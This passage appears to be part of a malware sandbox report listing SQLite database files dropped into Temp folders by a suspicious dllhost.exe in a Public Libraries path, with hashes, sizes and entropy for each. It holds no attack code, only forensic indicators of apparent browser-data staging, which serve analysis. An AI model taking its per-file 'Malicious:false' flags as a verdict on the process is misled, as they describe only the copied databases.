                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\MHbPSQHVGo

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\MY3HLBqeDb

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\N99oMJHchF

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\NBjWbZBlZt

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\NLHbz8eaLp

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5707520969659783
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\NM5eELfl5Z

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\NaLC0y6wOq

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Nlj4HbApN1

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\NzVyXhDle8

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\OBSalgYHtQ

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\OJ0D0ul64D

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\OKr8vCoUXd

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                                                                                                      MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                                                                                                      SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                                                                                                      SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                                                                                                      SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\P6db1Akc8t

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\PC2hCImDOi

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Pd4xJuRPMl

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\PmaExlBgA6

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\QI8naGA4bl

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\QXlbnV9op0

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Re6LePPpii

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Rf76GJU96x

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Rize28JDul

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Rl2w3wLGwg

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):28672
                                                                                                                                      Entropy (8bit):2.5793180405395284
                                                                                                                                      Encrypted:false
